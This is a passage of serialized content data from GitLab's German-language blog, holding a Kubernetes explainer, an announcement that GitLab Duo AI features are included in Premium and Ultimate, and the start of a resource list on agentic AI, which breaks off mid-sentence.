würde, würde man sagen Kubernetes stellt sicher, dass alle Komponenten im richtigen Zustand sind.\n\n## Node, Kubelet, Cluster: Die Welt von Kubernetes\n\nIn einem System werden Pods, also funktional zusammengehörige Kombinationen von Kubernetes-Containern auf sogenannte Knoten (englisch: Nodes) verteilt. Ein Knoten kann sowohl ein physischer Rechner (PC) als auch eine virtuelle Maschine (VM) sein.\n\nEs gibt zwei Formen von Knoten:\n\n* Die sogenannten Master-Nodes, welche die Steuerung und Kontrolle übernehmen sowie  \n* die Work-Nodes, auf denen die Anwendungen liegen, welche die Funktionalität einer Anwendung übernehmen.\n\nDie Kommunikation zwischen diesen Ebenen wird von kleinen Managementagenten übernommen, den Kubelets.\n\nSchließlich kann man mehrere Knoten zu Kubernetes-Clustern aufsetzen. Diese bilden dann die Umgebung ab, die Kubernetes verwaltet und auf welcher Kubernetes läuft.\n\n## Wie funktioniert Kubernetes?\n\nKubernetes automatisiert die Container-Orchestrierung, jedoch ist es als Administrator wichtig, stets die Kontrolle darüber zu behalten, welche Prioritäten dabei gesetzt und welche Aspekte berücksichtigt werden müssen.\n\nAdministrator(inn)en erarbeiten zusammen mit den Entwickler(innen)/Anwender(innen) eine Liste an gewünschten Zuständen. Dazu kann beispielsweise der Wunsch gehören, dass gewisse Pods stets aktiv sein sollten. Auch dann, wenn sie formal nicht ununterbrochen benötigt werden.\n\nDas ist ein völlig neuer Ansatz, wie über die Kontrolle der Software nachgedacht werden muss. Statt ständig auf sich ändernde Anforderungen mit neuen Befehlen zu reagieren, definiert man stattdessen, welche Zustände erfüllt werden sollen und überlässt es dann Kubernetes diese zu erfüllen. \n\n*Man bezeichnet diese Form der Kontrolle auch als \"deklarativ\", gegenüber dem traditionellen Modell der \"imperativen\" (befehlsgebenden) Kontrolle.*\n\nEin weiteres Eingreifen seitens Administrator(inn)en ist im Idealfall nicht mehr erforderlich. Senior Solutions Manager Brendan O'Leary von GitLab hat das einmal folgendermaßen auf den Punkt gebracht: *\"Kubernetes sorgt dafür, dass das System so bleibt, wie wir es haben wollen.\"*\n\n## Kubernetes in der Praxis\n\nWie funktioniert die Orchestrierung nun?\n\nKubernetes übernimmt eine Vielzahl von Funktionen, welche die Verwendung der Pods im Cluster optimieren: \n\n* Der Kubernetes Scheduler sorgt dafür, dass Pods den für sie besten Knoten zugeordnet werden.  \n* Kubernetes bringt die Nachfrage nach Nutzlasten mit dem Angebot in Einklang. Das bedeutet: Wenn besonders viele Nutzer(inn)en ein ganz bestimmtes Pod anfragen, droht eine Überlastung. Kubernetes kann hierauf mit zwei Antworten reagieren: Es kann für diesen Pod mehr Ressourcen bereitstellen, oder es kann den Pod duplizieren, also Kopien erstellen und die Anfragen auf diese neuen Pods verteilen. Dieser Prozess wird als load balancing bezeichnet.  \n* Kubernetes aktualisiert sich stets selbst und bleibt somit immer auf dem neuesten Stand.  \n* Entstehen in einem Pod Fehler, die zu einem Ausfall führen, kann Kubernetes im Rahmen seines Self-healings (Selbstheilung) entweder den Pod reparieren oder es auf einen funktionsfähigen früheren Zustand zurücksetzen.  \n* Hast du einmal ein Kubernetes-Cluster aufgesetzt, werden Nutzlasten oft von einem Knoten auf einen anderen verschoben. Interne IP-Adressen können hier also nicht mehr verwendet werden, um den aktuellen Ort eines Pods zu bestimmen (weil er sich ständig ändert). Mit der Service-Discovery-Funktion übernimmt Kubernetes die Aufgabe, dass Anfragen auf dem richtigen Pod auch ankommen.\n\n## Die Vorteile von Kubernetes\n\nGerade bei sehr großen Cloud-Umgebungen ist leicht ersichtlich, warum die oben beschriebene, automatisierte Gewährleistung eines optimalen Zustands einen großen Nutzen mit sich bringt.\n\nEin weiterer Vorteil von Kubernetes besteht in der Entwicklung neuer Funktionen. Es ermöglicht ein reibungsloses Testen, ohne dass es dabei zum Ausfall des Systems kommt. Neue Container und Pods können unkompliziert hinzugefügt werden. Teams können gezielt nur an den Diensten arbeiten, für die sie zuständig sind und so ganz gezielt und spezifisch das System optimieren.\n\nGerade Letzteres war der Grund, dass GitLab sich bereits 2017 für ein Container-zentriertes System mit Kubernetes entschieden hat.\n\nLukas Gentele schreibt dazu:\n\n*\"Dass das Kubernetes-Ökosystem so vielseitig ist, mag auf den ersten Blick abschrecken, doch es ist notwendig, da die Architektur von Kubernetes ein großes Maß an Flexibilität bietet.\"*\n\n## Wie funktioniert die Kubernetes-Integration unter GitLab?\n\nGitLab ist eine Platform die [Kontinuierlichen Integration und Auslieferung](https://about.gitlab.com/de-de/solutions/continuous-integration/) ermöglicht. Somit kannst du als GitLab-Nutzer(in) die Vorteile von Kubernetes bezüglich der Container-Orchestrierung für dich nutzen.\n\nWeil GitLab CE und Kubernetes so natürlich miteinander harmonieren, fällt die Integration recht unkompliziert aus. Wir haben für dich einen Artikel vorbereitet, der genau erklärt, wie du ein [Kubernetes Cluster mit GitLab verbindest](https://docs.gitlab.com/ee/user/clusters/agent/). \n\nKurz zusammengefasst erfordert die Integration folgende Punkte:\n\n* Definiere das Cluster, welches über Kubernetes automatisiert werden soll.  \n* Installiere einen Agenten, der die Kommunikation mit dem Cluster übernimmt.  \n* Konfiguriere die GitLab-CI/CD Pipeline so, dass sie die Kubernetes-API verwendet.\n\n## FAQs zu Kubernetes (K8s)\n\n### Warum wird Kubernetes auch K8s genannt? Was bedeutet der Begriff?\n\nK8s ist eine smarte, leicht kryptische Abkürzung des Begriffs Kubernetes: \"K\" und \"s\" bezeichnen den ersten und letzten Buchstaben, die \"8\" schlicht die Anzahl der Buchstaben, die dazwischen liegen.\n\nDas Wort Kubernetes stammt aus dem Griechischen und bedeutet Steuer- oder Fährmann. Der Begriff bezieht sich auf die zentrale Aufgabe von Kubernetes, ein System auch bei \"hohem Wellengang\" stets stabil zu halten und vor dem Kentern zu bewahren.\n\n### Wer hat Kubernetes entwickelt?\n\nDie ersten Impulse für Kubernetes setzte Google mit seinen Vorläuferprojekten \"Borg\" und \"Project 7\". Beide beschäftigten sich mit der Problemstellung, die Komplexität containierisierter Anwendungen beherrschbar zu machen.\n\nBewusst als Open-Source-Plattform entwickelt, entstand Kubernetes aus der Kollaboration verschiedener großer und kleiner Unternehmen, die sich in der Cloud Native Computing Foundation zusammenschlossen.\n\nDarüber hinaus wurde es maßgeblich über die Git-Community ergänzt und weiterentwickelt.\n\n### Was kostet die Nutzung von Kubernetes?\n\nBei Kubernetes handelt es sich um ein Open-Source-System. Das bedeutet, dass das Programm kostenfrei heruntergeladen werden kann. Trotzdem entstehen bei der Nutzung von Kubernetes in deinem Unternehmen Kosten, potentiell sogar recht hohe.\n\nDer Grund dafür ist, dass die nackte Basisversion der Anwendung letzten Endes für die meisten Anwender(innen) nicht nutzbar ist.\n\nNeben den Kosten, die für das Hosten der Kubernetes-Cluster in der Cloud anfallen, solltest du folgende möglichen Kostenpunkte berücksichtigen:\n\n* Die Nutzung von Kubernetes-Dienstleistungen, welche den Einsatz vereinfachen.  \n* Experten, die das Kubernetes-System konfigurieren, es gegebenenfalls warten und es auf dem neuesten Stand halten. Gerade angesichts des hohen Spezialisierungsgrads des Anforderungsprofils sowie der Menge der anfallenden Arbeitsstunden können hierbei erhebliche Kosten entstehen.  \n* Nach dem Aufsetzen eines Kubernetes-Clusters liegen Ressourcen auf verschiedenen Cloud-Speichern. Ein wichtiger Teil der Funktionalität von Kubernetes besteht darin, Nutzlasten dynamisch zwischen diesen Cloud-Speichern zu verschieben, so dass die Stabilität, Sicherheit und Geschwindigkeit des Systems optimiert wird. Allerdings wird dir das Verschieben von Datenpaketen von einem Speicher auf einen anderen sogar dann berechnet, wenn alle deine Daten bei demselben/derselben Provider(in) liegen. Diese Egress-Kosten werden gemäß des verschobenen Datenvolumens kalkuliert und können sich, abhängig von der Größe der Kubernetes-Cluster, am Ende des Jahres wahrhaft auftürmen.\n\nImmer mehr Anbieter(innen) haben inzwischen Kubernetes-Online-Rechner im Angebot, mit denen du einen besseren Eindruck über die möglichen Kosten erhältst. Allerdings bleibt es meistens bei einer [Schätzung](https://www.heise.de/news/Kosten-der-Google-Kubernetes-Engine-vorab-berechnen-zumindest-grob-7120708.html).",[552],{"slug":1577,"featured":6,"template":682},"definition-what-is-kubernetes","content:de-de:blog:definition-what-is-kubernetes.yml","Definition What Is Kubernetes","de-de/blog/definition-what-is-kubernetes.yml","de-de/blog/definition-what-is-kubernetes",{"_path":1583,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1584,"content":1590,"config":1595,"_id":1597,"_type":16,"title":1598,"_source":17,"_file":1599,"_stem":1600,"_extension":20},"/de-de/blog/gitlab-premium-with-duo",{"title":1585,"description":1586,"ogTitle":1585,"ogDescription":1586,"noIndex":6,"ogImage":1587,"ogUrl":1588,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1588,"schema":1589},"Künstliche Intelligenz für alle Kund(inn)en von GitLab Premium und Ultimate","GitLab Premium und Ultimate umfassen jetzt GitLab Duo für die Erstellung und das Verständnis von Code während des gesamten Lebenszyklus der Softwareentwicklung – und das ohne zusätzliche Kosten.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660188/Blog/Hero%20Images/blog-premium-with-duo-cover-0756-fy26-v2-1800x945.png","https://about.gitlab.com/blog/gitlab-premium-with-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Künstliche Intelligenz für alle Kund(inn)en von GitLab Premium und Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2025-05-15\",\n      }\n                  ",{"title":1585,"description":1586,"authors":1591,"heroImage":1587,"date":1573,"body":1593,"category":680,"tags":1594,"updatedDate":1553},[1592],"David DeSanto, Chief Product Officer, GitLab","Heute präsentieren wir GitLab 18.0, das unsere neuesten Innovationen und Pläne in den Bereichen DevSecOps-Workflows, Sicherheit und Compliance sowie KI in den Vordergrund stellt.\n\n**Ab dieser Version enthalten GitLab Premium und Ultimate jetzt auch die grundlegenden KI-Funktionen von GitLab Duo – und das ohne zusätzliche Kosten.**\n\nAlle Kund(inn)en mit Premium- und Ultimate-Lizenz erhalten sofort Zugang zu GitLab Duo Codevorschläge und Duo Chat direkt in ihren bevorzugten unterstützten Quellcode-Editoren und IDEs.\n\n## KI für jedes Entwicklungsteam\n\nKünstliche Intelligenz steht jetzt im Mittelpunkt der Entwicklererfahrung. KI verbessert die Programmierung in vielerlei Hinsicht: Sie analysiert deine Codebase und liefert dir während der Eingabe Vorschläge in Echtzeit, erstellt Funktionen und Methoden basierend auf dem Kontext deines Projekts, reduziert sich wiederholende Aufgaben und automatisiert Code Reviews.\n\nIn den letzten Jahren haben wir [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) entwickelt, um generative und agentische KI-Funktionen wie diese in unsere Plattform einzubauen. Da das Schreiben von Code nur der Anfang des Software-Lebenszyklus ist – unsere [globale DevSecOps-Studie](https://about.gitlab.com/de-de/developer-survey/) hat ergeben, dass Entwickler(innen) 79 % ihrer Zeit mit anderen Aufgaben als der Code-Erstellung verbringen – haben wir eine Strategie entwickelt, um KI in den gesamten Lebenszyklus der Softwareentwicklung zu integrieren. \n\nJetzt freuen wir uns, den nächsten Schritt nach vorne zu machen, indem wir wesentliche Funktionen von GitLab Duo in unsere GitLab-Premium- und Ultimate-Tarife aufnehmen, damit Entwickler(innen) die Vorteile von KI **ohne zusätzliche Kosten** in Anspruch nehmen können.\n\nDurch die Aufnahme von GitLab Duo Chat und Duo Codevorschläge in Premium und Ultimate können alle Softwareentwickler(innen) ihre Workflows innerhalb der IDE beschleunigen – ohne dass sie separate Tools, Lizenzen oder Governance benötigen. Alle bestehenden Kund(inn)en mit Premium- und Ultimate-Lizenz haben sofortigen Zugriff auf Duo Chat und Codevorschläge, sobald sie auf GitLab 18.0 upgraden, und diese Erweiterung wird zum Standard für alle Neukund(inn)en.\n\n> **„GitLab hat bereits dazu beigetragen, dass wir nicht mehr auf eine fragmentierte Toolchain angewiesen sind, was die Kosten für unzusammenhängende Lösungen gesenkt und unseren Workflow optimiert hat. Die Erweiterung von GitLab Premium mit Duo wird unsere Effizienz und Kosteneinsparungen noch weiter steigern, da unsere Entwickler(innen) weniger Zeit für routinemäßige Programmieraufgaben aufwenden müssen und mehr Zeit für die Bewältigung komplexer Herausforderungen haben, die einen echten geschäftlichen Nutzen bringen.“**\n>\n>- Andrei Nita, Chief Technology Officer bei McKenzie Intelligence Services\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1083723619?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Premium with Duo Core\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cbr>\u003C/br>\nKund(inn)en mit Premium- und Ultimate-Lizenz haben jetzt Zugriff auf die folgenden KI-basierten Funktionen:\n\n#### GitLab Duo Codevorschläge\n\n* Generierung vollständiger Funktionen und Codeblöcke aus Kommentaren  \n* Erhalten intelligenter Code-Vervollständigung während der Eingabe  \n* Unterstützung für mehr als 20 Programmiersprachen  \n* Verfügbar in den meisten gängigen IDEs\n\nIn dieser interaktiven Tour erfährst du mehr über GitLab Duo Codevorschläge (klicke auf das Bild, um die Tour zu starten).\n\n\u003Ca href=\"https://gitlab.navattic.com/code-suggestions\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175911/Blog/b5gdnls7jdyrpeyjby5j.png\" alt=\"GitLab Duo Code Suggestions cover image\">\u003C/a>\n\nWeitere Informationen findest du in unserer [Dokumentation zu Duo Codevorschläge (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/project/repository/code_suggestions/).\n\n#### GitLab Duo Chat\n\n* Erklärung von unbekanntem Code, um komplexe Funktionen zu verstehen  \n* Refaktorierung von vorhandenem Code, um Qualität und Wartbarkeit zu verbessern  \n* Generierung umfassender Testfälle, um Bugs früher zu erkennen  \n* Behebung von Codeproblemen direkt in deinem Workflow\n\n![Duo Chat – Erklärung des API-Endpunkts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673912/Blog/Content%20Images/Duo_Chat_-_gif_-_API_endpoint_explanation__3_.gif)\n\nWeitere Informationen findest du in unserer [Dokumentation zu Duo Chat (nur in englischer Sprache vefügbar)](https://docs.gitlab.com/user/gitlab_duo_chat/).\n\n> **„Für uns als GitLab-Benutzer(innen) sind die intelligenten Codevorschläge von Duo zu einer täglichen Ressource für unsere Entwickler(innen) geworden. In Kombination mit der Chat-Funktion ermöglicht sie sofortiges Feedback und Iteration, was zu schnelleren Entwicklungszyklen und einer sichereren Codebase führt. Es ist eine nahtlose und leistungsstarke Ergänzung zu unseren Workflows.“**\n>\n>- Felix Kortmann, Chief Technology Officer, Ignite by FORVIA HELLA\n\n## Duo Enterprise jetzt für Kund(inn)en von GitLab Premium verfügbar\n\nAuf vielfachen Wunsch unserer Kund(inn)en könnt ihr jetzt auch mit [GitLab Premium](https://about.gitlab.com/de-de/pricing/premium/) Duo Enterprise, unsere komplette KI-Suite, erwerben, ohne auf GitLab Ultimate upgraden zu müssen. Premium-Kund(inn)en kommen in den Genuss eines umfassenden KI-Erlebnisses, das nahtlos in den gesamten Lebenszyklus der Softwareentwicklung integriert ist. Dazu gehören spannende GitLab Duo-Funktionen wie:\n\n* [Root Cause Analysis (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/gitlab_duo/use_cases/#root-cause-analysis-use-cases) hilft bei der schnellen Behebung von CI/CD-Pipeline-Fehlern und sorgt dafür, dass deine CI/CD-Pipelines stabil bleiben.\n* [Code Review (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code) ermöglicht eine schnellere Merge-Request-Review, indem Duo als Code-Prüfer genutzt wird.  \n* [Erweiterter Chat (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/gitlab_duo_chat/) fasst Unterhaltungen zusammen, hilft beim Verständnis von Codeänderungen und bietet erweiterte Konfigurationsunterstützung.  \n* [Self-Hosted (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/) ermöglicht den Einsatz von Duo in Air-Gapped- und Offline-Umgebungen, indem genehmigte KI-Modelle für Duo gehostet werden.\n\nNeben der Verfügbarkeit von Duo Enterprise investieren wir weiterhin in den Erfolg unserer GitLab-Premium-Kund(inn)en. Seit der Einführung von GitLab 17 [haben wir mehr als hundert Funktionen und Verbesserungen bereitgestellt](https://gitlab.com/gitlab-org/gitlab/-/releases), darunter: \n\n* Der [**CI/CD-Katalog** (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) ermöglicht es Entwickler(inne)n, bereits vorhandene CI/CD-Komponenten und -Konfigurationen zu teilen, zu entdecken und wiederzuverwenden.  \n\n* Die [**Artefaktregistrierung** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/packages/virtual_registry/) bietet Entwickler(inne)n sicheren Zugriff auf Artefakte und eine nahtlose Integration in CI/CD-Pipelines.  \n* [**Remote-Entwicklung** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/project/remote_development/) ermöglicht es Entwickler(inne)n, in bedarfsgerechten,  \nCloud-basierten Entwicklungsumgebungen zu arbeiten.\n\n> [Erfahre mehr über die Funktionen von GitLab Premium (nur in englischer Sprache verfügbar).](https://about.gitlab.com/pricing/premium/#wp-premium-features)\n\n## GitLab Duo: KI, die Unternehmen dort unterstützt, wo sie arbeiten\n\nGitLab-Kund(inn)en haben Zugriff auf eine umfassende Auswahl an Duo-Angeboten, die in unseren Pro- und Enterprise-Lösungen enthalten sind. So können sie genau dort eingesetzt werden, wo du dich im KI-Einführungszyklus befindest. Je weiter deine Teams fortgeschritten sind, desto mehr Funktionen kannst du nutzen, um sichere Software schneller zu entwickeln, zu testen und bereitzustellen.\n\n![Hauptfunktionen in GitLab-Duo-Tarifen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673912/Blog/Content%20Images/Screenshot_2025-05-14_at_8.50.34_AM.png)\n\n## Wie bestehende Kund(inn)en von GitLab Ultimate und Premium in GitLab Duo einsteigen können\n\nAb GitLab 18.0 sind die Funktionen Duo Codevorschläge und Duo Chat für bestehende Kund(inn)en von GitLab Ultimate und Premium standardmäßig deaktiviert. Du kannst sie aber ganz einfach aktivieren – wie, erfährst du weiter unten.\n\nSo nutzt du GitLab Premium und Ultimate mit Duo: \n\n1. Stelle sicher, dass du GitLab Premium oder Ultimate hast. Wenn nicht, kannst du es kostenlos testen. \n\n2. Aktiviere GitLab Duo in deinen Organisationseinstellungen.\n\n3. Wenn du eine lokale IDE verwendest, installiere die entsprechende [Editor-Erweiterung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/editor_extensions/#available-extensions) für GitLab. \n\n4. Verwende Codevorschläge und Duo Chat in deiner bevorzugten unterstützten lokalen IDE oder der GitLab Web IDE.\n\n**Hinweis:** Für Neukund(inn)en und Testversionen werden die KI-Funktionen von GitLab automatisch aktiviert.\n\n## KI-native Entwicklung erfordert eine DevSecOps-Plattform\n\nKI verändert die Arbeit der Entwickler(innen) grundlegend. In Unternehmen wird es nicht nur mehr Mitarbeitende geben, die Software entwickeln. Es wird auch mehr produktionsreifen Code geben, der von KI generiert wird – **was GitLab wichtiger denn je macht.** \n\nWir haben GitLab Premium und Ultimate mit Duo speziell für diese neue Realität entwickelt, damit Teams eine sichere Grundlage für ihren gesamten Code haben. Wenn KI in deinem Unternehmen Code generiert, wird GitLab zu deinem Kontrollzentrum: keine separaten Tools für Sicherheitsscans, Compliance-Checks oder die Verwaltung von Pipelines. Es reicht eine einzige, einheitliche Plattform, die mit deinem Unternehmen wächst und sicherstellt, dass der gesamte Code deinen Standards entspricht, bevor er in die Produktion gelangt. Während KI deine Entwicklung beschleunigt, kannst du mit GitLab die Kontrolle, Sicherheit und Qualität von Anfang bis Ende gewährleisten.\n\n> Wenn du mehr über GitLab Duo und die Möglichkeiten erfahren möchtest, wie es die Arbeit deines Teams verändern kann, [besuche unsere GitLab-Premium-Seite](https://about.gitlab.com/de-de/pricing/premium/). Wenn du bereits Kund(in) von GitLab bist, wende dich an deine(n) Ansprechpartner(in) bei GitLab, um eine Demo zu planen. Komm am 24. Juni 2025 zu unserem [virtuellen Launch-Event für GitLab 18 (nur in englischer Sprache verfügbar)](https://about.gitlab.com/eighteen/), um mehr über die Zukunft der KI-nativen Softwareentwicklung zu erfahren.\n",[679,746,723,745,680],{"slug":1596,"featured":92,"template":682},"gitlab-premium-with-duo","content:de-de:blog:gitlab-premium-with-duo.yml","Gitlab Premium With Duo","de-de/blog/gitlab-premium-with-duo.yml","de-de/blog/gitlab-premium-with-duo",{"_path":1602,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1603,"content":1609,"config":1615,"_id":1617,"_type":16,"title":1618,"_source":17,"_file":1619,"_stem":1620,"_extension":20},"/de-de/blog/agentic-ai-guides-and-resources",{"ogTitle":1604,"schema":1605,"ogImage":1606,"ogDescription":1607,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1608,"title":1604,"canonicalUrls":1608,"description":1607},"Leitfäden und Ressourcen zu agentischer KI","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Leitfäden und Ressourcen zu agentischer KI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-05-07\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658912/Blog/Hero%20Images/blog-image-template-1800x945__20_.png","Hier erfährst du alles, was du über agentische KI wissen musst, wie sie funktioniert, warum sie deine DevSecOps-Umgebung aufwertet und welche bewährten Methoden es für die Implementierung gibt.","https://about.gitlab.com/blog/agentic-ai-guides-and-resources",{"heroImage":1606,"body":1610,"authors":1611,"updatedDate":1612,"date":1613,"title":1604,"tags":1614,"description":1607,"category":677},"## Inhaltsverzeichnis\n- [Definition von agentischer KI](#definition-von-agentischer-ki)\n- [Einblicke in die agentische KI](#einblicke-in-die-agentische-ki)\n- [Best Practices für die Implementierung von agentischer KI](#best-practices-für-die-implementierung-von-agentischer-ki)\n- [Das bietet GitLab im Bereich agentische KI](#das-bietet-gitlab-im-bereich-agentische-ki)\n - [GitLab Duo mit Amazon Q](#gitlab-duo-mit-amazon-q)\n - [GitLab Duo Workflow](#gitlab-duo-workflow)\n- [Mehr erfahren mit GitLab University (nur in englischer Sprache verfügbar)](#mehr-erfahren-mit-gitlab-university-(nur-in-englischer-sprache-verfügbar))\n- [Weitere Ressourcen zum Bereich KI](#weitere-ressourcen-zum-bereich-ki)\n\n## Definition von agentischer KI\n\nAgentische KI ist eine Form der künstlichen Intelligenz, die fortschrittliche Sprachmodelle und linguistische Datenverarbeitung nutzt, um eigenständig zu handeln. Im Gegensatz zu herkömmlichen generativen KI-Tools, bei denen ständige menschliche Anweisung nötig ist, können diese Systeme Anfragen verstehen, Entscheidungen treffen und mehrstufige Pläne ausführen, um Ziele zu erreichen. Sie bewältigen komplexe Aufgaben, indem sie sie in umsetzbare Schritte unterteilen, und setzen adaptives Lernen ein, um ihren Ansatz zu verändern, wenn sie auf Schwierigkeiten treffen.\n\n[Erfahre mehr über agentische KI](https://about.gitlab.com/de-de/topics/agentic-ai/)\n\n## Einblicke in die agentische KI\n\n- [Neue Trends in der agentischen KI, die die Softwareentwicklung verändern (nur in englischer Sprache verfügbar)](https://about.gitlab.com/the-source/ai/emerging-agentic-ai-trends-reshaping-software-development/): Erfahre, wie agentische KI die Entwicklung von isolierter Programmierung in intelligente Workflows verwandelt, die die Produktivität steigern und gleichzeitig die Sicherheit gewährleisten.\n- [Agentische KI: Entwicklungspotenzial im großen Stil](https://about.gitlab.com/de-de/the-source/ai/agentic-ai-unlocking-developer-potential-at-scale/): Entdecke, wie agentische KI die Softwareentwicklung verändert und über die Code-Vervollständigung hinausgeht, um KI-Partner zu schaffen, die komplexe Aufgaben proaktiv angehen.\n- [Agentische KI, Self-Hosted Models und mehr: KI-Trends im Jahr 2025](https://about.gitlab.com/de-de/the-source/ai/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more/): Entdecke die wichtigsten KI-Trends im Bereich der Softwareentwicklung – von der lokalen Bereitstellung von Modellen bis hin zu intelligenten, adaptiven KI-Tools.\n- [Wie agentische KI das Potenzial von Platform Engineering freisetzt (nur in englischer Sprache verfügbar)](https://about.gitlab.com/the-source/ai/how-agentic-ai-unlocks-platform-engineering-potential/): Erfahre, wie agentische KI Platform Engineering verbessert, indem sie komplexe Workflows automatisiert und die Standardisierung vorantreibt.\n\n## Best Practices für die Implementierung von agentischer KI\n\n- [Implementierung effektiver Leitlinien für KI-Agenten (nur in englischer Sprache verfügbar)](https://about.gitlab.com/the-source/ai/implementing-effective-guardrails-for-ai-agents/): Entdecke die wichtigsten Sicherheitsleitlinien für KI-Tools in DevSecOps, von Compliance-Kontrollen über den Schutz der Infrastruktur bis hin zur Benutzerzugriffsverwaltung.\n\n## Das bietet GitLab im Bereich agentische KI\n\n### GitLab Duo mit Amazon Q\n\n- [GitLab Duo mit Amazon Q: Die für AWS optimierte agentische KI ist jetzt allgemein verfügbar](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/): Die umfassende KI-basierte DevSecOps-Plattform mit den umfangreichsten Cloud-Computing-Funktionen beschleunigt Entwicklungszyklen, erhöht die Automatisierung und verbessert die Codequalität.\n- [DevSecOps + agentische KI: Jetzt für GitLab Self-Managed Ultimate auf AWS (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws/): Verwende KI-basierte Agents, die für DevSecOps optimiert sind, in deiner Instanz von AWS GitLab Self-Managed Ultimate. Profitiere von den Vorteilen von GitLab Duo und Amazon Q in deinem Unternehmen.\n- [GitLab Duo mit Amazon Q – Partnerseite](https://about.gitlab.com/de-de/partners/technology-partners/aws/)\n\nSieh dir GitLab Duo mit Amazon Q in Aktion an:\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1075753390?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Technical Demo: GitLab Duo with Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n#### Geführte Tour\n\nKlicke auf das Bild, um eine englischsprachige Tour durch GitLab Duo mit Amazon Q zu starten:\n\n[![GitLab Duo mit Amazon Q – interaktive Tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673568/Blog/Content%20Images/Screenshot_2025-05-07_at_7.24.45_AM.png)](https://gitlab.navattic.com/duo-with-q)\n\n#### GitLab Duo mit Amazon Q – Tutorial\n\n- [GitLab Duo + Amazon Q: Ideen in wenigen Minuten in Code umwandeln (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes/): Die neue Integration „GitLab Duo mit Amazon Q“ analysiert deine Ticketbeschreibungen und generiert automatisch vollständige, funktionierende Code-Lösungen. So werden deine Entwicklungsworkflows beschleunigt.\n\n### GitLab Duo Workflow\n\n- [GitLab Duo Workflow](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/): Die Zukunft der sicheren Entwicklung von agentischer KI-Software\n- [GitLab Duo Workflow: Transparenz und Kontrolle für agentische KI auf Enterprise-Niveau](https://about.gitlab.com/de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/): Sichere, autonome, kontextbewusste KI-Tools übernehmen komplexe Aufgaben und geben Entwickler(inne)n die Möglichkeit, innovative Software schneller zu entwickeln. Die private Beta-Warteliste ist jetzt geöffnet.\n- [GitLab Duo Workflow](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/)\n- [Dokumentation für GitLab Duo Workflow (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/duo_workflow/)\n\nSieh dir GitLab Duo Workflow in Aktion an:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/eN2Sd5UNc0g?si=C9HibBJ3QDDHADq2\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Geführte Tour\n\nKlicke auf das Bild unten, um die englischsprachige Tour durch GitLab Duo Workflow zu starten:\n\n[![GitLab Duo Workflow – geführte Tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673569/Blog/Content%20Images/Screenshot_2025-05-07_at_7.29.57_AM.png)](https://gitlab.navattic.com/duo-workflow)\n\n#### Tutorials und Anwendungsfälle für GitLab Duo Workflow\n\n- [Refactoring von JavaScript zu TypeScript mit GitLab Duo Workflow (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/refactoring-javascript-to-typescript-with-gitlab-duo-workflow/)\n\n- [Automatisierung mühsamer Programmieraufgaben mit GitLab Duo Workflow (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/automate-tedious-coding-tasks-with-gitlab-duo-workflow/): Erfahre, wie agentische KI den Zeitaufwand für sich wiederholende Aufgaben reduzieren kann, damit du dich auf die Entwicklung innovativer Lösungen und die 